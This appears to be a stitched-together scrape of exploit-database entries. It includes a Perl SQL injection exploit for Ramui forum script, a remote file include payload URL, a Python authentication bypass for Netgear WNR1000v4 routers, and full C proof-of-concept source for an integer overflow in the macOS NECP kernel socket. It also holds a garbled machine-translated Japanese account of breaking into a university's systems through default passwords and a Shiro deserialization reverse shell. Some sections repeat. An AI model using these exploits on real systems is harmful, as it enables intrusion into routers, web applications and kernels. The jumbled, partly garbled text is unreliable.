# Title: Ramui forum script 9.0 SQL Injection Exploit
# Author: bd0rk
# Twitter: twitter.com/bd0rk
# Vendor: http://www.ramui.com/
# Download: http://ramui.com/forum-script/download-v9.html
# Google-Dork: n/a --->Script-Kiddie protection! :)
# Direct SQL-Path: n/a --->Script-Kiddie protection! :)
# Description: I've found a sql-injection vulnerability in this web-software.
# The vulnerable code is in /gb/include/page.php
# The problem is the GET-pagename.
# An attacker can use this exploitcode for unfiltered sql-queries.
# Vuln-Code in /gb/include/page.php:
#************************************************************************************************************************************
# <?php
# if(isset($_GET['pagename'])){
# $name=$_GET['pagename'];
# $query=sprintf("SELECT* FROM ".PREFIX."page WHERE pagename = '%s' AND publish = 'Y'",$xx_con->real_escape_string($name));
# }
#************************************************************************************************************************************
# [+]PERL-EXPLOITCODE(Copy&Paste):
#!/usr/bin/perl
print q{
++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ +
+ Ramui forum script 9.0 SQL Injection Exploit +
+ +
+ bd0rk || SOH-Crew +
+ +
+ Greetings from cold Germany +
+ +
++++++++++++++++++++++++++++++++++++++++++++++++++++++
};
use IO::Socket;
print q{
=> Insert URL
=> without ( http )
=> };
$server = <STDIN>;
chop ($server);
print q{
=> Insert directory
=> es: /forum/ - /ramui/
=> };
$dir = <STDIN>;
chop ($dir);
print q{
=> User ID
=> Number:
=> };
$user = <STDIN>;
chop ($user);
if (!$ARGV[2]) {
}
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "gb/include/page.php?pagename=[sqlInjectionCodeHERE]".$user ;
print "
=> Exploit in process...\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "Exploit failed";
print "Exploit\r\n";
print "in process...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "Exploit finished!\r\n\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "MD5-Hash is: ".$1."\r\n";
}
exit();
}
}
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863130495
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
0x01情報収集
まず、指定されたターゲットはxxx大学の公式ウェブサイト:wwwww.xxx.edu.cnですが、実際にはメインサイトだけをテストしないでください。一般に、このようなメインサイトは比較的安全であり、一部のサイトグループシステムを使用する可能性があります。多くの学校がBodaの統一管理を使用しています。
1.サブドメイン名収集
は、サブドメイン3、ファズドメイン、サブドメインブルート、seayサブドメイン名を爆破するために使用できます
しかし、私はこの浸透で上記を使用せず、爆破時間は長すぎました。
私はこれらのFOFA、Shadon、およびこれらのサイバースペース検索エンジンを使用しています
たとえば、次の写真：
host='xxxx.edu.cn'
2.ポート情報
上記のFOFA結果を介して、ポートスキャンツールを使用してIPアドレスとスキャンを学習できます。利用可能なポートは見つかりません
ただし、多くのWebサイトにはこのIPがあります。
その後、ポートをあきらめます
3.感受性情報収集
Github検索GoogleハッキングLingfengyunネットワークディスク検索で、いくつかの繊細なものを収集しませんでした。メールアドレスはTencentの企業メールアドレスであり、VPNは次のようになります
収集されたメールアカウントの一部は次のとおりでした
Webサイトを閲覧して、いくつかのイントラネットシステムのコルプス
統一認証プラットフォームのプロンプトを表示することにより、一部のソーシャルワーカーは、学生番号を使用してIDカードを追加した後に学生がログインできることを知っています（デフォルトのパスワード）
だから私は学生番号の波を収集してバックアップしました
site:xxx.edu.cn学生ID
0x02脆弱性マイニング
必要な情報の一部を収集した後、各サブドメインを掘り始めました。長い間検索した後、ほとんどのシステムは、比較的単一の機能を備えた統一テンプレートを使用し、抜け穴は見つかりませんでした。
site:xxx.edu.cn inurl:login
site:xxx.edu.cn intitle：login
次に、いくつかのログインシステムに焦点を当てました
その後、ログインするシステムが見つかりました
この時点で、私は彼のプロンプトを思い出しました。ユーザー名とパスワードは私の仕事番号です。つまり、ここに教師の仕事番号情報があるかもしれませんが、私はただ幸運です。このシステムのシステム管理者アカウントは、パスワードが弱いです。
管理者が背景に入った後、ユーザー情報を見つけて、教師のアカウントが5桁であることを知ります。アドレスバーにアクションがあることがわかります。 STR2をテストした後、Webページを更新しましたが、開くことができませんでした。私は視覚的にIPがブロックされていることを発見しました.
次に、ユーザーのルールを知った後、辞書のバックアップとして使用するスクリプトを書きました
＃！/usr/bin/env python
＃ - * - Coding:UTF-8-* -
＃DateTime :2019/7/10 8:44
begin_num=0＃数字から開始パラメーター生成を開始します
end_num=20000＃endパラメーター停止nthパラメーター
印刷（ '' ''
スクリプトを実行した後、5.txtはスクリプトが配置されているディレクトリで生成され、生成された番号が保存されます。
'' '）
範囲のi（begin_num、end_num + 1）:
I 10:の場合
i='0000' + str（i）
Elif I 100:
i='000' + str（i）
Elif I 1000:
i='00' + str（i）
Elif I 10000:
i='0'+str（i）
f: as open（ '5.txt'、 'a'）
f.write（str（i） + '\ n'）
print（ 'プログラムが実行され、ファイルが生成されました'）
次に、この背景に注入を見つけてアップロードしましたが、それは実りがありませんでしたので、テキストに記録し、別のドメイン名に変更しました。
次に、コース選択システムをご覧ください
は、学生アカウントをアカウントのパスワードとして使用し、正常にログインすることです
は役に立たないようですが、これについて気分が悪くなっているのは、テストをアップロードしたときにスクリプト形式の接尾辞を変更し、データパケットを送信できなかったことです。その結果、私は更新するためにWebページに戻り、リンクがリセットされました.そうです、私は再びIPで禁止されました.
それから私は教師アカウントを破ろうとしました、そして同じアカウントがパスワードとして使用されました
入った後、私は周りを見回しましたが、まだ進歩することができませんでした
同様に、私は大学院管理システムと学生支払いクエリシステムに入りました（実際にはただのクエリでした.）、最終的にFinancial XXシステムで少し進歩しました。
はい、それを正しく読んで、ID番号を読んだので、私は精神遅滞で100回試してみて、IDカードを含む14の教師アカウントを取得しましたが、それらはすべて退職した教師のように見えます。
それから私はログインを試してみるために統一されたID認証プラットフォームに来ましたが、ログインしました.（アカデミックアフェアーズはログインできません）
ここで始めましたが、これはブレークスルーと見なされました。このブレークスルーポイントなど、ここの一部のシステムは認証なしでは開くことができないため：アパートメント管理システム
認証前に:を開きます
認証後に開く：
実際には許可がありません.クリックしてもう一度ログインすると、このシステム
にアクセスできます。これにより、このシステムは統一された認証プラットフォームにログインしたユーザーが使用できることも証明しました。その後、このシステムにはJavaの敏lialializationの脆弱性があることが起こります
したがって、この敏arialializationの脆弱性（Shiro Deserialization）を通じて、リバウンドシェルが取得され、マシンはルート許可です
その後、エージェントトラフィックはその背後にあります。犬の穴を使用する場合、これ以上の話を無駄にしません.
それから私は今まで見たことがないWAFを見つけました
驚き、2番目のマスターが駅を守り、後退し、ごめんなさい、邪魔をしました。
0x03要約
1。情報収集サブドメイン名：FOFA（host='xxxx.edu.cn'）ポートコレクション：Yujianスキャンツール、ウェブサイトは、逆プロキシポートを使用してポート443または80のみを使用して、ネットワークを出て敏感な情報を収集することができます。 Baidu Network Disk and Tencent Network Disk）3。Googハック学生番号を収集する番号：site3:xxx.cn学生番号ログイン：site:xxx.edu.cn inurl3360loginまたはsite:xxx.edu.edu.edu.edu.edu.cn intitle：log in subage cotain in homepain in homepain in homepain in to homepaint in home poight of of of of offution 3.統一された認証プラットフォームが作業番号とIDカードを使用し、作業番号とIDカードの後に6桁にログインしていることを発見します。資産と実験室のプラットフォームが、ユーザー名とパスワードとして作業番号を使用していることを発見します。ここでは、弱いパスワード管理者と管理者を介してシステムを入力して教師の作業番号を取得できます。システムには、WAF 5で傍受されます。コース選択センター、アカウント、パスワードの両方が生徒数と教師の作業番号であることを発見します。システムのファイルアップロードもWAFによって傍受されます。 6.大学院管理システム、学生支払いクエリシステム、Financial XXシステムなどのその他のシステムには、すべてのアカウントとパスワードがあります。それらはすべて、作業番号があり、システムに入ることができます。教師のアカウントにバインドされたID番号を収集できます。 7.教師のアカウントとID番号を取得し、統一された認証プラットフォームを入力します。寮管理システムにログインできます（最初に統一認証システムにログインする必要がある前提条件）8。
# Title: Ramui web hosting directory script 4.0 Remote File Include Vulnerability
# Author: bd0rk
# Twitter: twitter.com/bd0rk
# Vendor: http://www.ramui.com
# Download: http://ramui.com/directory-script/download-v4.html
Proof-of-Concept:
/gb/include/connection.php lines 6-13 in php-sourcecode
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
class connection
{
protected $site;
public $error=false;
protected $admin=false;
function __construct($root)
{
include $root."database/config.php";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The $root-parameter is a __construct.
But no value was passed to him.
Therefore, nothing can be checked before include in line 13.
So an attacker can execute malicious shellcode about it.
In this case, the __construct is meaningless.
[+]Exploit: http://[server]/path/gb/include/connection.php?root=[YourShellcode]
~~Everything revolves. Even the planet. :)~~
***Greetz to ALL my followers on Twitter!***
/bd0rk
'''
# Exploit Title: Netgear_WNR1000v4_AuthBypass
# Google Dork: -
# Date: 06.10.2015
# Exploit Author: Daniel Haake
# Vendor Homepage: http://www.netgear.com/
# Software Link: http://downloadcenter.netgear.com/en/product/WNR1000v4
# Version: N300 router firmware versions 1.1.0.24 - 1.1.0.31
# Tested on: Can be exploited using a browser
# CVE : requested
Introduction:
-------------
Multiple NETGEAR wireless routers are out of the box vulnerable
to an authentication bypass attack. No router options has to
be changed to exploit the issue. So an attacker can access the administration
interface of the router without submitting any valid username and
password, just by requesting a special URL several times.
Affected:
---------
- Router Firmware: N300_1.1.0.31_1.0.1.img
- Router Firmware; N300-1.1.0.28_1.0.1.img
- Router Firmware; N300-1.1.0.24_1.0.1.img
- tested and confirmed on the WNR1000v4 Router with both firmwares
- other products may also be vulnerable because the firmware is used in multiple devices
Technical Description:
----------------------
The attacker can exploit the issue by using a browser or writing a simple exploit.
1. When a user wants to access the web interface, a http basic authentication login process is initiated
2. If he does not know the username and password he gets redirected to the 401_access_denied.htm file
3. An attacker now has to call the URL http://<ROUTER-IP>/BRS_netgear_success.html multiple times
-> After that if he can access the administration web interface and there is no username/password prompt
Example Python script:
----------------------
'''
import os
import urllib2
import time
import sys
try:
first = urllib2.urlopen("http://" + sys.argv[1])
print "No password protection!"
except:
print "Password protection detected!"
print "Executing exploit..."
for i in range(0,3):
time.sleep(1)
urllib2.urlopen("http://" + sys.argv[1] + "/BRS_netgear_success.html")
second = urllib2.urlopen("http://" + sys.argv[1])
if second.getcode() == 200:
print "Bypass successfull. Now use your browser to have a look at the admin interface."
'''
Workaround/Fix:
---------------
None so far. A patch already fixing this vulnerability was developed by Netgear but not released so far
(see timeline below).
Timeline:
---------
Vendor Status: works on patch-release
'''
21.07.2015: Vendor notified per email (security@netgear.com)
-> No response
23.07.2015: Vendor notified via official chat support
24.07.2015: Support redirected notification to the technical team
29.07.2015: Requested status update and asked if they need further assistance
-> No response
21.08.2015: Notified vendor that we will go full disclosure within 90 days if they do not react
03.09.2015: Support again said that they will redirect it to the technical team
03.09.2015: Netgear sent some beta firmware version to look if the vulnerability is fixed
03.09.2015: Confirmed to Netgear that the problem is solved in this version
Asked Netgear when they plan to release the firmware with this security fix
11.09.2015: Response from Netgear saying they will not disclose the patch release day
15.09.2015: Asked Netgear again when they plan to publish the security fix for the second time
-> No response
29.09.2015: Full disclosure of this vulnerability by SHELLSHOCK LABS
06.10.2015: Forced public release of this advisory to follow up on [2]
References:
-----------
[1] http://support.netgear.com/product/WNR1000v4
[2] http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html
Source: https://code.google.com/p/google-security-research/issues/detail?id=620
I wanted to demonstrate that these iOS/OS X kernel race condition really are exploitable so here's a PoC
which gets RIP on OS X. The same techniques should transfer smoothly to iOS :)
The bug is here:
void IORegistryIterator::reset( void )
{
while( exitEntry())
{}
if( done) {
done->release();
done = 0;
}
where->current = root;
options &= ~kIORegistryIteratorInvalidFlag;
}
We can call this from userspace via the IOIteratorReset method.
done is an OSOrderedSet* and we only hold one reference on it; therefore we can race two threads
to both see the same value of done, one will free it but before it sets done to NULL the other will
call ->release on the now free'd OSOrderedSet.
How to get instruction pointer control?
The XNU kernel heap seems to have been designed to make this super easy :) When the first thread frees
done zalloc will overwrite the first qword of the allocation with the freelist next pointer (and the last qword
with that pointer xor'd with a secret.) This means that what used to be the vtable pointer gets overwritten
with a valid pointer pointing to the last object freed to this zone. If we can control that object then
the qword at +0x28 will be called (release is at offset +0x28 in the OSObject vtable which is the base
of all IOKit objects including OSOrderedSet.)
This PoC uses OSUnserializeXML to unserialize an OSData object with controlled contents then free it, which
puts a controlled heap allocation at the head of the kalloc.80 freelist giving us pretty easy instruction pointer control.
I've attached a panic log showing kernel RIP at 0xffffff8041414141. You will probably have to fiddle with the
PoC a bit to get it to work, it's only a PoC but it does work! (I have marked the value to fiddle with :) )
As a hardening measure I would strongly suggest at the very least flipping the location of the obfuscated and
unobfuscate freelist pointers such that the valid freelist pointer doesn't overlap with the location of the
vtable pointer.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39357.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=618
The _ool variations of the IOKit device.defs functions all incorrectly deal with error conditions.
If you run the mig tool on device.defs you can see the source of the kernel-side MIG handling code; here
is the relevant generated code for io_service_get_matching_services_ool:
mig_internal novalue _Xio_service_get_matching_services_ool
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
... // some typedefs
Request *In0P = (Request *) InHeadP;
Reply *OutP = (Reply *) OutHeadP;
kern_return_t RetCode;
io_object_t existing; <-- (a)
... // check the input types
RetCode = is_io_service_get_matching_services_ool(In0P->Head.msgh_request_port, (io_buf_ptr_t)(In0P->matching.address), In0P->matchingCnt, &OutP->result, &existing); <-- (b)
if (RetCode != KERN_SUCCESS) {
MIG_RETURN_ERROR(OutP, RetCode);
}
OutP->existing.name = (mach_port_t)iokit_make_object_port(existing); <-- (c)
At (a) it declares an io_object_t existing on the stack (io_object_t is just a pointer.) It then passes the address of that local to is_io_service_get_matching_services_ool, and if that
function succeeds passes the value of existing to iokit_make_object_port. Here's is_io_service_get_matching_services_ool (which importantly is NOT generated code):
/* Routine io_service_get_matching_services_ool */
kern_return_t is_io_service_get_matching_services_ool(
mach_port_t master_port,
io_buf_ptr_t matching,
mach_msg_type_number_t matchingCnt,
kern_return_t *result,
io_object_t *existing )
{
kern_return_t kr;
vm_offset_t data;
vm_map_offset_t map_data;
kr = vm_map_copyout( kernel_map, &map_data, (vm_map_copy_t) matching );
data = CAST_DOWN(vm_offset_t, map_data);
if( KERN_SUCCESS == kr) {
// must return success after vm_map_copyout() succeeds
*result = internal_io_service_get_matching_services(master_port,
(const char *) data, matchingCnt, existing);
vm_deallocate( kernel_map, data, matchingCnt );
}
return( kr );
}
Note here that it returns kr which *only* indicates if the vm_map_copyout failed. This will of course succeed so the return value of this function
will always be KERN_SUCCESS, even if internal_io_service_get_matching_services fails... Let's look at that function:
static kern_return_t internal_io_service_get_matching_services(
mach_port_t master_port,
const char * matching,
mach_msg_type_number_t matching_size,
io_iterator_t *existing )
{
kern_return_t kr;
OSObject * obj;
OSDictionary * dict;
if( master_port != master_device_port)
return( kIOReturnNotPrivileged);
obj = matching_size ? OSUnserializeXML(matching, matching_size)
: OSUnserializeXML(matching);
if( (dict = OSDynamicCast( OSDictionary, obj))) {
*existing = IOService::getMatchingServices( dict );
kr = kIOReturnSuccess;
} else
kr = kIOReturnBadArgument;
if( obj)
obj->release();
return( kr );
}
Indeed, if this function fails it doesn't set existing to a safe value but does return an error code. However, the _ool variation ignores this error code (it
just returns it to userspace via the result parameter.) This means that the generated code thinks that is_io_service_get_matching_services_ool succeed
and it therefore pass existing in iokit_make_object_port which will eventually (if the uninitialized value wasn't NULL) call a virtual function on it
(taggedRetain) when adding the object to the dictionary storing all iokit user objects.
All of the _ool variations of IOKit API's have this problem; PoCs are included for all of them but they may or may not crash depending on the
state of the stack.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39358.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=608
Panic log attached
OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39359.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=607
Panic log attached
OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39360.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=606
Panic log attached
OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39361.zip
#############################
Exploit Title : Timeclock-software - Multiple SQL injections
Author:Marcela Benetrix
Date: 01/27/2016
version: 0.995 (older version may be vulnerable too)
software link:http://timeclock-software.net
#############################
Timeclock software
Timeclock-software.net's free software product will be a simple solution to
allow your employees to record their time in one central location for easy
access.
##########################
SQL Injection Location
1. http://server/login.php
username and password were vulnerable to time-based blind sql injection
type.
Moreover, once logged into the app; the following URLs were found to be
vulnerable too:
2. http://server/view_data.php?period_id
3. http://server/edit_type.php?type_id=
4. http://server/edit_user.php?user_id=
5. http://server/edit_entry.php?time_id=
All of them are vulnerable to Union query and time-based blind.
##########################
Vendor Notification
01/27/2016 to: the developers. They replied immediately and fixed the
problem in a new release
002/03/2016: Disclosure
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=543
NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html
By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.
necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)
by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:
// Read policy conditions
for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
cursor >= 0;
cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
size_t condition_size = 0;
necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
if (condition_size > 0) {
conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
}
}
The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )
This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:
one of length 1; one of length 1024 and one of length 2^64-1051;
later conditions_array_size is used as the size of a memory allocation:
MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);
There is then a memory copying loop operating on the undersized array:
conditions_array_cursor = 0;
for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
cursor >= 0;
cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
size_t condition_size = 0;
necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) { <-- (a)
// Add type
memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
conditions_array_cursor += sizeof(condition_type);
// Add length
memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
conditions_array_cursor += sizeof(condition_size);
// Add value
necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL); <-- (b)
There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.
By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)
this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)
Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/
// ianbeer
/*
iOS and OS X kernel code execution due to integer overflow in NECP system control socket packet parsing
NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html
By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.
necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)
by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:
// Read policy conditions
for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
cursor >= 0;
cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
size_t condition_size = 0;
necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
if (condition_size > 0) {
conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
}
}
The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )
This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:
one of length 1; one of length 1024 and one of length 2^64-1051;
later conditions_array_size is used as the size of a memory allocation:
MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);
There is then a memory copying loop operating on the undersized array:
conditions_array_cursor = 0;
for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
cursor >= 0;
cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
size_t condition_size = 0;
necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) { <-- (a)
// Add type
memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
conditions_array_cursor += sizeof(condition_type);
// Add length
memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
conditions_array_cursor += sizeof(condition_size);
// Add value
necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL); <-- (b)
There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.
By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)
this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)
Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define CONTROL_NAME "com.apple.net.necp_control"
int ctl_open(void) {
int sock;
int error = 0;
struct ctl_info kernctl_info;
struct sockaddr_ctl kernctl_addr;
sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
if (sock < 0) {
printf("failed to open a SYSPROTO_CONTROL socket: %s", strerror(errno));
goto done;
}
memset(&kernctl_info, 0, sizeof(kernctl_info));
strlcpy(kernctl_info.ctl_name, CONTROL_NAME, sizeof(kernctl_info.ctl_name));
error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
if (error) {
printf("Failed to get the control info for control named \"%s\": %s\n", CONTROL_NAME, strerror(errno));
goto done;
}
memset(&kernctl_addr, 0, sizeof(kernctl_addr));
kernctl_addr.sc_len = sizeof(kernctl_addr);
kernctl_addr.sc_family = AF_SYSTEM;
kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
kernctl_addr.sc_id = kernctl_info.ctl_id;
kernctl_addr.sc_unit = 0;
error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
if (error) {
printf("Failed to connect to the control socket: %s", strerror(errno));
goto done;
}
done:
if (error && sock >= 0) {
close(sock);
sock = -1;
}
return sock;
}
struct necp_packet_header {
uint8_t packet_type;
uint8_t flags;
uint32_t message_id;
};
uint8_t* add_real_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val){
*buf = type;
*(( size_t*)(buf+1)) = len;
memcpy(buf+9, val, len);
return buf+9+len;
}
uint8_t* add_fake_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val, size_t real_len){
*buf = type;
*(( size_t*)(buf+1)) = len;
memcpy(buf+9, val, real_len);
return buf+9+real_len;
}
int main(){
int fd = ctl_open();
if (fd < 0) {
printf("failed to get control socket :(\n");
return 1;
}
printf("got a control socket! %d\n", fd);
size_t msg_size;
uint8_t* msg = malloc(0x1000);
memset(msg, 0, 0x1000);
uint8_t* payload = malloc(0x1000);
memset(payload, 'A', 0x1000);
struct necp_packet_header* hdr = (struct necp_packet_header*) msg;
hdr->packet_type = 1; // POLICY_ADD
hdr->flags = 0;
hdr->message_id = 0;
uint8_t* buf = (uint8_t*)(hdr+1);
uint32_t order = 0x41414141;
buf = add_real_tlv(buf, 2, 4, &order); // NECP_TLV_POLICY_ORDER
uint8_t policy = 1; // NECP_POLICY_RESULT_PASS
buf = add_real_tlv(buf, 4, 1, &policy); // NECP_TLV_POLICY_RESULT
buf = add_real_tlv(buf, 3, 1, payload); // NECP_TLV_POLICY_CONDITION
buf = add_real_tlv(buf, 3, 1024, payload); // NECP_TLV_POLICY_CONDITION
buf = add_fake_tlv(buf, 3, 0xffffffffffffffff-1050, payload, 0x10);
msg_size = buf - msg;
send(fd, msg, msg_size, 0);
close(fd);
return 0;
}
Source: https://code.google.com/p/google-security-research/issues/detail?id=542
The IOHIDLibUserClient allows us to create and manage IOHIDEventQueues corresponding to available HID devices.
Here is the ::start method, which can be reached via the IOHIDLibUserClient::_startQueue external method:
************ SNIP **************
void IOHIDEventQueue::start()
{
if ( _lock )
IOLockLock(_lock);
if ( _state & kHIDQueueStarted )
goto START_END;
if ( _currentEntrySize != _maxEntrySize ) <--- (a)
{
mach_port_t port = notifyMsg ? ((mach_msg_header_t *)notifyMsg)->msgh_remote_port : MACH_PORT_NULL;
// Free the existing queue data
if (dataQueue) { <-- (b)
IOFreeAligned(dataQueue, round_page_32(getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE));
}
if (_descriptor) {
_descriptor->release();
_descriptor = 0;
}
// init the queue again. This will allocate the appropriate data.
if ( !initWithEntries(_numEntries, _maxEntrySize) ) { (c) <----
goto START_END;
}
_currentEntrySize = _maxEntrySize;
// RY: since we are initing the queue, we should reset the port as well
if ( port )
setNotificationPort(port);
}
else if ( dataQueue )
{
dataQueue->head = 0;
dataQueue->tail = 0;
}
_state |= kHIDQueueStarted;
START_END:
if ( _lock )
IOLockUnlock(_lock);
}
************ SNIP **************
If _currentEntrySize is not equal to _maxEntrySize then the start method will attempt to reallocate a better-sized queue;
if dataQueue (a member of IODataQueue) is non-zero its free'd then initWithEntries is called with the new _maxEntrySize.
Note that the error path on failure here jumps straight to the end of the function, so it's up to initWithEntries to
clear dataQueue if it fails:
************ SNIP **************
Boolean IOHIDEventQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize)
{
UInt32 size = numEntries*entrySize;
if ( size < MIN_HID_QUEUE_CAPACITY )
size = MIN_HID_QUEUE_CAPACITY;
return super::initWithCapacity(size);
}
************ SNIP **************
There's a possible overflow here; but there will be *many* possible overflows coming up and we need to overflow at the right one...
This calls through to IOSharedDataQueue::initWithCapacity
************ SNIP **************
Boolean IOSharedDataQueue::initWithCapacity(UInt32 size)
{
IODataQueueAppendix * appendix;
vm_size_t allocSize;
if (!super::init()) {
return false;
}
_reserved = (ExpansionData *)IOMalloc(sizeof(struct ExpansionData));
if (!_reserved) {
return false;
}
if (size > UINT32_MAX - DATA_QUEUE_MEMORY_HEADER_SIZE - DATA_QUEUE_MEMORY_APPENDIX_SIZE) {
return false;
}
allocSize = round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE);
if (allocSize < size) {
return false;
}
dataQueue = (IODataQueueMemory *)IOMallocAligned(allocSize, PAGE_SIZE);
************ SNIP **************
We need this function to fail on any of the first four conditions; if we reach the IOMallocAligned call
then dataQueue will either be set to a valid allocation (which is uninteresting) or set to NULL (also uninteresting.)
We probably can't fail the ::init() call nor the small IOMalloc. There are then two integer overflow checks;
the first will only fail if size (a UInt32 is greater than 0xfffffff4), and the second will be impossible to trigger on 64-bit since
round_pages will be checking for 64-bit overflow, and we want a cross-platform exploit!
Therefore, we have to reach the call to initWithCapacity with a size >= 0xfffffff4 (ie 12 possible values?)
